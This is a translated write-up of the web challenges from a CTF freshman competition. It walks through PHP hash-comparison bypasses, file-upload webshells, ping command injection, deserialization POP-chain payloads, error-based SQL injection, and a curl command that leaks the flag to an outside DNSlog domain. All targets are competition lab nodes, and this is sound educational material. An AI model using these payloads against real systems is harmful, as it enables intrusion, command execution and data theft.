[SWPUTF 2023 Autumn Freshman Competition]–Web Direction Detailed Writeup

Web

colorful_snake

Come play with Snake~

F12 to view the source code, you can see the this_is_real_flag function and find that it is unicode encoding

image-20231019080029726

Use website conversion to get flag

image-20231019080055922

One-click connection!

Need again and again

<?php
highlight_file(__FILE__);
error_reporting(0);
$md5_1 = $_GET['md5_1'];
$md5_2 = $_GET['md5_2'];
$sha1_1 = $_GET['sha1_1'];
$sha1_2 = $_GET['sha1_2'];
$new_player =$_GET['new_player'];
if ($md5_1 !== $md5_2 & amp; & amp; md5($md5_1) === md5($md5_2)) {<!-- -->
    if ($sha1_1 != $sha1_2 & amp; & amp; sha1($sha1_1) === sha1($sha1_2)) {<!-- -->
        if (file_get_contents($new_player) === "Welcome to NSSCTF!!!") {<!-- -->
            echo "Congratulations~~~~~~~~~";
            echo "Try need Antsword<br/>";
            @eval($_POST['Nss']);
        }else{<!-- -->
            echo "Have you ever heard of the data protocol?";
        }
    } else {<!-- -->
        echo "How can sha1 be equal";
    }
} else {<!-- -->
    echo "How to make md5 values equal?";
}

The first level should make md5_1 and md5_2 have the same strong comparison type after md5 encryption, and md5_1 should not be equal to md5_2 , here you can use an array to bypass

Construct payload

?md5_1[]=1 & amp;md5_2[]=2

The second layer is to bypass sha1 encryption. Arrays can also be used here.

payload:

sha1_1[]=3 & amp;sha1_2[]=4

Next, you can see file_get_contents. The content of this function is to display the file content. You can use the data protocol to pass in the data stream.

payload:

new_player=data://text/plain,Welcome to NSSCTF!!!

Next, use Nss to perform RCE, and the final package is as follows

?md5_1[]=1 & amp;md5_2[]=2 & amp;sha1_1[]=3 & amp;sha1_2[]=4 & amp;new_player=data://text/plain,Welcome to NSSCTF! !!

POST DATA:
Nss=system('cat /f*');

image-20231019084245373

NSS_HTTP_CHEKER

Come check out your HTTP knowledge base!

image-20231019084418065

Okay, okay, I like this, I bought it right away

Burp delivers the package as follows:

image-20231019084817744

ez_talk

none

To upload files, first directly upload a php file

image-20231019133823355

Tried changing the MIME type, but it was filtered

image-20231019133932588

I guess there is file header detection. Add the file header GIF89a? and you can see that it is bypassed and the path is flipped.

image-20231019134158540

direct interview

http://node6.anna.nssctf.cn:28908/uploads/shell.php

You can see that the horse has been mounted successfully, and you can directly RCE to get the flag.

image-20231019134435505

Pingpingping

Program is not responding

<?php
highlight_file(__FILE__);
error_reporting(0);
$_ping = $_GET['Ping_ip.exe'];
if(isset($_ping)){<!-- -->
    system("ping -c 3 ".$_ping);
}else{<!-- -->
    $data = base64_encode(file_get_contents("error.png"));
    echo "<img src='data:image/png;base64,$data'/>";
}

After getting the source code, we can know through simple code audit that we need to pass the parameter Ping_ip.exe, and then execute system(ping -c 3 + the value we passed in)

But this involves the problem of PHP illegal parameter passing, that is, if Ping_ip.exe is passed in directly, it will be parsed into Ping_ip_exe in PHP. , so we change the original parameter’s _ to [ to pass in the correct parameters.

Construct payload:

?Ping[ip.exe=127.0.0.1|ls /

Successfully scanned root directory

image-20231019135000316

Next, just get the flag directly

?Ping[ip.exe=127.0.0.1|cat /f*

UnS3rialize

Let’s do some deserialization

Give source code

<?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{<!-- -->
    public $cmd;
    function __invoke()
    {<!-- -->
        echo "Congratulations!!!You have learned to construct a POP chain<br/>";
        system($this->cmd);
    }
    function __wakeup()
    {<!-- -->
        echo "W4keup!!!<br/>";
        $this->cmd = "echo Welcome to NSSCTF";
    }
}


class C
{<!-- -->
    public $whoami;
    function __get($argv)
    {<!-- -->
        echo "what do you want?";
        $want = $this->whoami;
        return $want();
    }
}

class T
{<!-- -->
    public $sth;
    function __toString()
    {<!-- -->
        echo "Now you know how to use __toString<br/>There is more than one way to trigger";
        return $this->sth->var;
    }
}

class F
{<!-- -->
    public $user = "nss";
    public $passwd = "ctf";
    public $notes;
    function __construct($user, $passwd)
    {<!-- -->
        $this->user = $user;
        $this->passwd = $passwd;
    }
    function __destruct()
    {<!-- -->
        if ($this->user === "SWPU" & amp; & amp; $this->passwd === "NSS") {<!-- -->
                echo "Now you know how to use __construct<br/>";
                echo "your notes".$this->notes;
        }else{<!-- -->
            die("N0!");
        }
    }
}



if (isset($_GET['ser'])) {<!-- -->
    $ser = unserialize(base64_decode($_GET['ser']));
} else {<!-- -->
    echo "Let's do some deserialization :)";
}

Examine deserialization and look for the pop chain backwards

You can see that in the NSS class, there is the __invoke() magic method, which contains functions that can execute system commands, so this is our end point

__invoke() magic method: This method is executed when using the object as a function

Continuing to look up, this may not be obvious, it is in the return $want(); of the C class, where want is treated as a function Processing, the triggering method is the __get() magic method

__get(): called when obtaining a member variable of a class, used to trigger when obtaining a value from an inaccessible member

Look up, return $this->sth->var; in the T class. Here we hope to return the var in the sth class. Attribute, but it does not exist, so the __get() magic method can be triggered through this statement, but the prerequisite is that the __toString() magic method is triggered first

__toString(): Triggered when an object is used as a string

The last is the echo statement of the __destruct() magic method in the F class, which uses notes as a string Processing, this is the trigger point of the pop chain, because __desrtuct() will automatically trigger

__destruct(): triggered when the object is destroyed

The final pop chain is as follows

NSS::__invoke() <-- C::__get() <-- T::__toString() <-- F::__destruct

Construct exp from this. Since __wakeup() needs to be bypassed here, base64_encode will not be added first.

<?php
class NSS
{<!-- -->
    public $cmd;

    function __construct(){<!-- -->
        $this ->cmd = "ls /";
    }
}


class C
{<!-- -->
    public $whoami;

    function__construct()
    {<!-- -->
        $this ->whoami = new NSS();
    }
}

class T
{<!-- -->
    public $sth;

    function __construct(){<!-- -->
        $this ->sth = new C();
    }
}

class F
{<!-- -->
    public $user;
    public $passwd;
    public $notes;

    function__construct()
    {<!-- -->
        $this->user = "SWPU";
        $this->passwd = "NSS";
        $this->notes = new T();
    }
}

$a = new F();
echo (serialize($a));

Run to get

O:1:"F":3:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3: "NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1 :{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:4:"ls /";}}}}

Then modify it and use the object’s inconsistent number of attributes method to bypass, and modify it to get

O:1:"F":5:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3: "NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1 :{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:4:"ls /";}}}}

Then base64 encode

TzoxOiJGIjo1OntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2 hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6NDoibHMgLyI7fX19fQ0K

Pass parameters to execute the command

image-20231019143855991

Then the command to modify the script is cat /f*. Repeat the steps to get the flag.

payload:

TzoxOiJGIjo1OntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2 hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6NzoiY2F0IC9mKiI7fX19fQ0K

image-20231019144057974

RCE-PLUS

How to read the flag without echo?

If there is no RCE echo, you can read this article.

[CTF] Command execution without echo exploit

Here, DNSlog is used to directly bring out the flag.

Click Get SubDomain to get the domain name, and then follow the format of the article

image-20231019151515787

cmd=curl `command`.domain name

The payload is as follows:

http://node6.anna.nssctf.cn:28181/?cmd=curl `cat /f*`.vv5yp9.dnslog.cn

Then click Refresh Record and you can see that the flag has been brought out.

image-20231019151508838

Modify the format and it will be the correct flag.

Check need

I am reborn as the owner of a black and white explosion oil expert!

hint1: There are hints in the front-end source code, and pay attention to the parameters used, or just pick up your favorite kali and start it with one click?

Since I mentioned that there are hints in the front-end code, let’s take a look.

image-20231019152331325

Then now on the student list, just find a name

What we are investigating is SQL injection, so first look for the injection point and closure method.

image-20231020095723360

The injection point here should be student_id, because it can be clearly seen that in the error statement, password is encrypted by md5, so the injection point can be determined

After trial and error, I found that the closing method is ""(double quotes), then try union union query injection first, and first determine the display position

image-20231020101456494

An error will be reported when the display bits are different, but an error will be reported when the display bits are the same.

Later I found out that it was a problem with the sql statement, that is, the ;

image-20231020101537207

Now that you have seen the error, try error injection

Payload explodes:

name=Xue Ziman & amp;student_id=-1" and updatexml(1,concat(0x7e,(database()),0x7e),1) -- + # & amp;password=11111

image-20231020101608856

It seems that the idea is right, the next step is to explode

name=Xue Ziman&student_id=-1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),3) -- + &password=11111

image-20231020101725255

Then explode the field

name=Xue Ziman&student_id=-1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='students'), 0x7e),3) -- + & amp;password=11111

image-20231020112212068

However, this payload cannot be displayed completely. Modify it slightly to display the subsequent field names.

name=Xue Ziman&student_id=-1" and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='students' ),31,40),0x7e),3) -- + & amp;password=11111

Found that there is no flag, see if there is a flag hidden in the table, no. . . .

I don’t know where the flag is hidden

Supplement

Sorry, I re-read the question after the game and found that the flag is actually hidden in the last item in the grade field. I plan to use the list to find the flag directly.

Use burp to blast, first send it to the tester, and add name to the variable

image-20231021235808668

Import the list, copy the student list to txt, and then import

image-20231022000215892

Start blasting

image-20231022000514315

At this. . . I took it, but my brain waves didn’t match.

If_else

A master like you must have great skills

One day, NSSCTF gives you an opportunity to customize the conditions in if. After submitting, visit check.php to view the results.

Submission method$_POST["check"]

Remember to visit check.php~

Contents of check.php
<?php
    $a=false;
    $b=false;
    if (the part you submitted will be written here)
    {<!-- -->$a=true;}
    else
    {<!-- -->$b=true;}
    if($a===true & amp; & amp;$b===true)
    eval(system(cat /flag));
?>

I don’t know what this question tests. . . Maybe it’s a test of how to write in PHP?

$ is banned and cannot be used, then execute system(cat /f*) directly

The payload is placed directly below

check=11==11){ system('cat /f*');} /*

After passing it in, visit check.php to get the flag

image-20231020115559945

backup

Ever heard of backup files?

hint prompts you to back up the file. Directly visit www.zip to get the source code.

<?php
error_reporting(0);
require_once("flag.php");

class popmart{<!-- -->
    public $yuki;
    public $molly;
    public $dimoo;

    public function __construct(){<!-- -->
        $this->yuki='tell me where';
        $this->molly='dont_tell_you';
        $this->dimoo="you_can_guess";
    }

    public function __wakeup(){<!-- -->
        global $flag;
        global $where_you_go;
        $this->yuki=$where_you_go;

        if($this->molly === $this->yuki){<!-- -->
            echo $flag;
        }
    }
}

$pucky = $_GET['wq'];
if(isset($pucky)){<!-- -->
    if($pucky==="Erxian Bridge"){<!-- -->
        extract($_POST);
        if($pucky==="Erxian Bridge"){<!-- -->
            die("<script>window.alert('Tell me, where are you going');</script>");
        }
        unserialize($pucky);
    }
}

It seems that we need to make wq equal to erxianqiao to enter the first if statement, and then bypass the second if statement to deserialize

After entering unserialize, __wakeup() will assign a value. If molly===yuki then you can get the flag

The first point is to bypass the second if. Here you can directly variable override. Of course, sending wq for both GET and POST will not work. Yes, just send pucky in POST

Then use reference bypassing during deserialization. The exp is as follows

<?php

class popmart{<!-- -->
    public $yuki;
    public $molly;
    public $dimoo;

}
$a=new popmart();
$a->molly= & amp;$a->yuki;
echo serialize($a);

Run to get

O:7:"popmart":3:{s:4:"yuki";N;s:5:"molly";R:2;s:5:"dimoo\ ";N;}

Just pass it in directly in the p0pmart.php interface.

image-20231022004332238